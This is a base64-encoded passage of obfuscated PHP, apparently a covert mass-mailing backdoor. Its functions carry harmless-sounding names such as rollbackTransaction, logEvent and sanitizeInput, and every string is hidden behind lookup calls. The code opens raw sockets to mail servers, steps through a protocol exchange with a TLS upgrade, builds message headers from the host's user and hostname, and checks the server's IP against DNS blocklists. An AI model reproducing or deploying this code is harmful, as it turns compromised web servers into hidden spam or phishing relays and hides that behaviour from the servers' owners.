UGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vcnknLCAnX2t6cScpLCAkX2N5eSk7CiAgICAgICAgJF9ndG0gPSBzdGFydF9zZXJ2aWNlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wYScsICdfcGtsJyksICRfY3l5KTsKICAgICAgICAkX3F1ID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoICgkX2d0bSBhcyAkX3NuKSB7CiAgICAgICAgICAgICRfc24gPSBkZWNvZGVfaW5wdXQoJF9zbiwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JxeScsICdfY3knKSk7CiAgICAgICAgICAgICRfcXVbXSA9ICRfc247CiAgICAgICAgfQogICAgICAgIHdoaWxlIChpbml0X3N5c3RlbSgkX3F1KSA+IDAwICYmIHJlc29sdmVfZGVwZW5kZW5jeShlbmQoJF9xdSkpID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYnJyJywgJ19sdXUnKSkgewogICAgICAgICAgICBhcnJheV9wb3AoJF9xdSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBkaXNwYXRjaF9zaWduYWwoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dmdycsICdfeWtvJyksICRfcXUpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21vJywgJ19ocicpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiB1cGRhdGVDYWNoZSgkX3lydywgJF9hbnYpCiAgICB7CiAgICAgICAgcmV0dXJuICRfYW52IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZnaCcsICdfYmcnKSAuICRfeXJ3OwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcm9jZXNzRGF0YSgkX3ZhLCAkX2JjeCwgJF9teikKICAgIHsKICAgICAgICAkX2x4byA9IEBleHBsb2RlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190ZmonLCAnX3p2cicpLCAkX3ZhKTsKICAgICAgICAkX3N3ID0gJF9seG9bMDFdICE9ICRfbXo7CiAgICAgICAgJF9ka2ggPSBmdW5jdGlvbl9leGlzdHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3phcicsICdfYmJoJykpID8gQGdldF9jdXJyZW50X3VzZXIoKSA6ICRfbHhvWzAwXTsKICAgICAgICBpZiAoISRfZGtoIHx8IGluaXRpYWxpemVfY29tcG9uZW50KCRfZGtoLCBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfem8nLCAnX29rZycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmpyJywgJ19jeXYnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2F0JywgJ19oYm0nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xlJywgJ19ld24nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R2JywgJ19lYXonKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3h5cCcsICdfcnl1JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191bycsICdfY2hwJykpKSkgewogICAgICAgICAgICAkX2RraCA9ICRfbHhvWzAwXTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkX3N3KSB7CiAgICAgICAgICAgICRfbXIgPSAhZW1wdHkoJF9TRVJWRVJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JvYycsICdfeGxwJyldKSA/ICRfU0VSVkVSW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190aGYnLCAnX2F3YicpXSA6IEBnZXRob3N0YnluYW1lKCRfbXopOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfbXIgPSBAZ2V0aG9zdGJ5bmFtZSgkX216KTsKICAgICAgICB9CiAgICAgICAgJF93ZiA9ICR0aGlzLT5fbWMoJF9tcik7CiAgICAgICAgaWYgKCEkX3dmKSB7CiAgICAgICAgICAgICRfd2YgPSAkX2x4b1swMV07CiAgICAgICAgfQogICAgICAgICRfcWogPSBhcnJheSgpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2h0ZycsICdfdXJwJykpICYmIGZ1bmN0aW9uX2V4aXN0cyhBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmZpJywgJ19ucicpKSkgewogICAgICAgICAgICBAc3JhbmQoQGNyYzMyKCRfbHhvWzAxXSkpOwogICAgICAgIH0KICAgICAgICAkX3FqW10gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHRuJywgJ194aWYnKSAuICRfd2YgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbGFmJywgJ19kZXEnKSAuICRfd2YgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXQnLCAnX3pjYycpIC4gJF9tciAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19reWonLCAnX25jdScpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hyeScsICdfY3ZpJykgLiAkX2x4b1swMV0gLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXZmJywgJ19ucScpIC4gc3RydG91cHBlcigkdGhpcy0+X2dpcSgwMTUpKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pZGInLCAnX3JhZCcpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2h0dScsICdfenZvJykgLiAkX2JjeCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192aXUnLCAnX25iYScpIC4gJHRoaXMtPl9zYygpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z3ZicsICdfeWdjJykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2gnLCAnX3d2YicpIC4gJF93ZiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19seicsICdfcWtjJykgLiByYW5kKDAxMiwgMDMwMzIzNykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2JpJywgJ193ZWonKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19mbCcsICdfZXd1JykgLiBzdHJ0b3VwcGVyKCR0aGlzLT5fZ2lxKDAxMikpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2tmeicsICdfenZjJykgLiAkdGhpcy0+X3NjKCkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfemN5JywgJ19ud2onKTsKICAgICAgICAkX3FocCA9ICR0aGlzLT5fa2ooKTsKICAgICAgICAkX3FqW10gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcXdsJywgJ19oemEnKSAuICRfZGtoIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JhbScsICdfY3onKSAuICRfd2YgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcHZ0JywgJ19ua20nKSAuICRfcWhwIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2t3cScsICdfeGxoJykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmxqJywgJ19yaWknKSAuICRfdmEgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeHllJywgJ19zdGonKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195aScsICdfYWliJykgLiAkdGhpcy0+X2dpcSgwNiwgMDEpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J2JywgJ19nb3QnKSAuICR0aGlzLT5fZ2lxKDAyLCAwMikgLiAkdGhpcy0+X2dpcSgwMywgMDEpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX295dCcsICdfb2tpJykgLiAkdGhpcy0+X2dpcSgwMiwgMDEpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25waicsICdfd3ZuJykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaWNkJywgJ19hYScpIC4gJF9iY3ggLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd3FnJywgJ19kbicpIC4gJHRoaXMtPl9zYygpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2N5bicsICdfc2pkJyk7CiAgICAgICAgcmV0dXJuICRfcWpbZnJlZV9yZXNvdXJjZXMoJF9xaildOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiByb2xsYmFja1RyYW5zYWN0aW9uKCRfcWNrLCAkX2dkLCAkX3hweCwgJF90anIgPSAwMTIsICRfZ2ZsID0gdHJ1ZSwgJF9saSA9IHRydWUpCiAgICB7CiAgICAgICAgJF9ndCA9ICgkX3hweCA9PT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZoJywgJ19wcScpID8gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZiJywgJ19nbScpIDogQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z2cicsICdfb3NsJykpIC4gJF9xY2sgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfamRiJywgJ196aHMnKSAuICRfZ2Q7CiAgICAgICAgJF9vbWMgPSBmYWxzZTsKICAgICAgICAkX2VqdSA9IDAwOwogICAgICAgICRfYXR5ID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J3ZCcsICdfcGxjJyk7CiAgICAgICAgaWYgKCRfZ2ZsICYmIGZ1bmN0aW9uX2V4aXN0cyhBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ2JjJywgJ193dicpKSkgewogICAgICAgICAgICAkX29tYyA9IEBmc29ja29wZW4oJF9xY2ssICRfZ2QsICRfZWp1LCAkX2F0eSwgJF90anIpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9saSAmJiAhJF9vbWMgJiYgZnVuY3Rpb25fZXhpc3RzKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19uZ3EnLCAnX2J3aycpKSkgewogICAgICAgICAgICAkX29tYyA9IEBzdHJlYW1fc29ja2V0X2NsaWVudCgkX2d0LCAkX2VqdSwgJF9hdHksICRfdGpyLCAwNCwgJHRoaXMtPl9lcCk7CiAgICAgICAgfQogICAgICAgIGlmICgkX29tYykgewogICAgICAgICAgICBAc3RyZWFtX3NldF90aW1lb3V0KCRfb21jLCAkX3RqciwgMDApOwogICAgICAgICAgICAkX2pubCA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2l0YicsICdfYWVqJyksICRfam5sKSkgewogICAgICAgICAgICAgICAgQGZjbG9zZSgkX29tYyk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuICRfb21jOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBsb2dFdmVudCgkX29tYywgJF92YSwgJF9iY3gsICRfYWZuLCAkX216KQogICAgewogICAgICAgICRfZHggPSAkdGhpcy0+Z2VuZXJhdGVUb2tlbigkX216KTsKICAgICAgICBAZnB1dHMoJF9vbWMsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19udHgnLCAnX2p0cycpIC4gJF9keCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196eG4nLCAnX2RsbycpKTsKICAgICAgICAkX2FtciA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcXBuJywgJ193ZicpLCAkX2FtcikpIHsKICAgICAgICAgICAgQGZwdXRzKCRfb21jLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbG5tJywgJ19oZWInKSAuICRfZHggLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2wnLCAnX3BwcScpKTsKICAgICAgICAgICAgJF96ZyA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2FpaicsICdfeHAnKSwgJF96ZykpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoc3RyaXBvcygkX2FtciwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2FicicsICdfZWp6JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICBAZnB1dHMoJF9vbWMsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193dnknLCAnX3hteCcpKTsKICAgICAgICAgICAgJF9vciA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21wJywgJ196aHInKSwgJF9vcikpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIUBzdHJlYW1fc29ja2V0X2VuYWJsZV9jcnlwdG8oJF9vbWMsIHRydWUsIDAxMSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBAZnB1dHMoJF9vbWMsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oamEnLCAnX210eicpIC4gJF9keCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19idGInLCAnX2xvbycpKTsKICAgICAgICAgICAgJF9hbXIgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zbScsICdfaWcnKSwgJF9hbXIpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRfb21jLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfanAnLCAnX2VmaCcpIC4gJF92YSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191ZHMnLCAnX3ZmbCcpKTsKICAgICAgICAkX3J2ID0gJHRoaXMtPnBhcnNlUmVzcG9uc2UoJF9vbWMpOwogICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19iengnLCAnX2JweScpLCAkX3J2KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3dwJywgJ19hY3cnKSAuICRfYmN4IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3NqJywgJ19pZWYnKSk7CiAgICAgICAgJF9oaSA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnInLCAnX255aycpLCAkX2hpKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX211bycsICdfY20nKSk7CiAgICAgICAgJF9oZ2YgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZsaicsICdfcGwnKSwgJF9oZ2YpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF9ndG0gPSBAZXhwbG9kZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGQnLCAnX3JsbycpLCAkX2Fmbik7CiAgICAgICAgZm9yZWFjaCAoJF9ndG0gYXMgJF9rZykgewogICAgICAgICAgICBAZnB1dHMoJF9vbWMsIGRlY29kZV9pbnB1dCgkX2tnLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnBzJywgJ19xanQnKSkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWsnLCAnX3puYycpKTsKICAgICAgICB9CiAgICAgICAgJF93eWsgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgaWYgKGZldGNoX21ldGFkYXRhKCRfd3lrLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZmxiJywgJ19qaCcpKSA9PT0gMDApIHsKICAgICAgICAgICAgQGZwdXRzKCRfb21jLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd213JywgJ194dHAnKSk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhbml0aXplSW5wdXQoJF9vbWMsICRfdmEsICRfYmN4LCAkX2FmbiwgJF9teiwgJF95aSwgJF9mZ2opCiAgICB7CiAgICAgICAgJF9keCA9ICR0aGlzLT5nZW5lcmF0ZVRva2VuKCRfbXopOwogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VwJywgJ19vaWsnKSAuICRfZHggLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYW9pJywgJ194bnAnKSk7CiAgICAgICAgJF9hbXIgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pwbicsICdfaWYnKSwgJF9hbXIpKSB7CiAgICAgICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JwYycsICdfc2R0JykgLiAkX2R4IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3BsdCcsICdfd2InKSk7CiAgICAgICAgICAgICRfemcgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oeXMnLCAnX2xjcicpLCAkX3pnKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmIChzdHJpcG9zKCRfYW1yLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfenByJywgJ19wZ2MnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x4JywgJ196Zm0nKSk7CiAgICAgICAgICAgICRfb3IgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195dnEnLCAnX2RmZycpLCAkX29yKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghQHN0cmVhbV9zb2NrZXRfZW5hYmxlX2NyeXB0bygkX29tYywgdHJ1ZSwgMDExKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2NlZCcsICdfenEnKSAuICRfZHggLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3hrJywgJ19neicpKTsKICAgICAgICAgICAgJF9hbXIgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ob2UnLCAnX2Z6dicpLCAkX2FtcikpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF9vbWMsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kdScsICdfemJnJykpOwogICAgICAgICRfbHIgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3lrZicsICdfc3BkJyksICRfbHIpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRfb21jLCBhbmFseXplX2RhdGEoJF95aSkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYW11JywgJ19md3MnKSk7CiAgICAgICAgJF9xciA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZG5kJywgJ196aCcpLCAkX3FyKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgYW5hbHl6ZV9kYXRhKCRfZmdqKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xeScsICdfcnAnKSk7CiAgICAgICAgJF9wYSA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXInLCAnX2RocScpLCAkX3BhKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3h3bScsICdfeGFtJykgLiAkX3ZhIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VubScsICdfY3EnKSk7CiAgICAgICAgJF9ydiA9ICR0aGlzLT5wYXJzZVJlc3BvbnNlKCRfb21jKTsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3AnLCAnX2xxaScpLCAkX3J2KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX293eScsICdfa2JrJykgLiAkX2JjeCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sZHAnLCAnX2dsdCcpKTsKICAgICAgICAkX2hpID0gJHRoaXMtPnBhcnNlUmVzcG9uc2UoJF9vbWMpOwogICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19za24nLCAnX29vdScpLCAkX2hpKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX29tYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R4JywgJ19hZ2wnKSk7CiAgICAgICAgJF9oZ2YgPSAkdGhpcy0+cGFyc2VSZXNwb25zZSgkX29tYyk7CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX29qdScsICdfYWZiJyksICRfaGdmKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRfZ3RtID0gQGV4cGxvZGUoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX29wJywgJ195eWwnKSwgJF9hZm4pOwogICAgICAgIGZvcmVhY2ggKCRfZ3RtIGFzICRfa2cpIHsKICAgICAgICAgICAgQGZwdXRzKCRfb21jLCBkZWNvZGVfaW5wdXQoJF9rZywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RjeCcsICdfdXAnKSkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXJ5JywgJ19wbngnKSk7CiAgICAgICAgfQogICAgICAgICRfd3lrID0gJHRoaXMtPnBhcnNlUmVzcG9uc2UoJF9vbWMpOwogICAgICAgIGlmIChmZXRjaF9tZXRhZGF0YSgkX3d5aywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dvJywgJ19qaicpKSA9PT0gMDApIHsKICAgICAgICAgICAgQGZwdXRzKCRfb21jLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ3h6JywgJ195ZXUnKSk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHBhcnNlUmVzcG9uc2UoJF9vbWMpCiAgICB7CiAgICAgICAgJF9vdXkgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd3F6JywgJ190YnonKTsKICAgICAgICB3aGlsZSAoIUBmZW9mKCRfb21jKSkgewogICAgICAgICAgICAkX2NxciA9IEBmZ2V0cygkX29tYywgMDEwMDMpOwogICAgICAgICAgICBpZiAoJF9jcXIgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX291eSAuPSAkX2NxcjsKICAgICAgICAgICAgaWYgKEBzdWJzdHIoJF9jcXIsIDAzLCAwMSkgPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JneicsICdfemxvJykpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX291eTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdXBkYXRlUmVnaXN0cnkoKQogICAgewogICAgICAgICRfYnJrID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JjdicsICdfc3ltJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xb3knLCAnX2x0dycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXhkJywgJ19kamMnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2RzJywgJ19zdScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2ZqJywgJ194eWwnKSk7CiAgICAgICAgJF9tciA9IEBnZXRob3N0YnluYW1lKCR0aGlzLT5fZGcpOwogICAgICAgIGlmICghJF9tcikgewogICAgICAgICAgICByZXR1cm4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3dobicsICdfZmN5Jyk7CiAgICAgICAgfQogICAgICAgICRfcXF5ID0gZGlzcGF0Y2hfc2lnbmFsKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oenYnLCAnX3RwYycpLCBsb2dfb3BlcmF0aW9uKHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2l4YycsICdfcm0nKSwgJF9tcikpKTsKICAgICAgICAkX2JraSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xZXonLCAnX3l6aCcpOwogICAgICAgIGZvcmVhY2ggKCRfYnJrIGFzICRfemxyKSB7CiAgICAgICAgICAgIGlmIChAY2hlY2tkbnNycigkX3FxeSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19naGgnLCAnX2JybicpIC4gJF96bHIgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdngnLCAnX2h0bCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXp6JywgJ19tZScpKSkgewogICAgICAgICAgICAgICAgJF9ia2kgLj0gJF96bHIgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWVpJywgJ19rcmYnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZGVjb2RlX2lucHV0KCRfYmtpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnNxJywgJ19vaWwnKSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNoZWNrQ29uc2lzdGVuY3koKQogICAgewogICAgICAgICRfbmsgPSBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHQnLCAnX2J1cScpLCBBZG1pblBhbmVsOjpoYW5kbGVS